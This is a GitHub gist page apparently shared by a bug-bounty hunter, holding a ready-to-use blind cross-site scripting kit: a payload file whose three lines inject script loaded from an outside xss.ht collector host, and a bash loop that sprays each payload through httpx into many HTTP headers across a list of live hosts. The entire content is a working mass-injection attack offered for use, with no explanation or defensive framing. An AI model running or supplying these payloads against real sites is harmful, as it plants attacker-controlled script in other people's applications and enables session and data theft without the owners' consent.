Skip to content

Instantly share code, notes, and snippets.

@Huntinex

Huntinex/bxss-payload.txt

Created August 1, 2022 13:40
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Huntinex/0073f69d4d021bbd8d2c06c68c49a2b3 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Huntinex/0073f69d4d021bbd8d2c06c68c49a2b3 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. Huntinex created this gist Aug 1, 2022.
    3 changes: 3 additions & 0 deletions bxss-payload.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,3 @@
    "><script src=https://username.xss.ht></script>
    '><script src=https://username.xss.ht></script>
    ";eval('var a=document.createElement(\'script\');a.src=\'https://username.xss.ht\';document.body.appendChild(a)')
    10 changes: 10 additions & 0 deletions bxss.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,10 @@
    while read bxss;do

    cat alivehosts.txt | httpx \
    -H "X-Forwarded-for: $bxss" -H "X-forwarded-ip: $bxss" -H "cf-connecting-ip: $bxss"

    cat alivehosts.txt | httpx \
    -H "X-Client-ip: $bxss" -H "X-real-ip: $bxss" -H "X-request-uri: $bxss" \
    -H "X-XSRF-TOKEN: $bxss" -H "X-CSRF-TOKEN: $bxss"

    done < bxss-payload.txt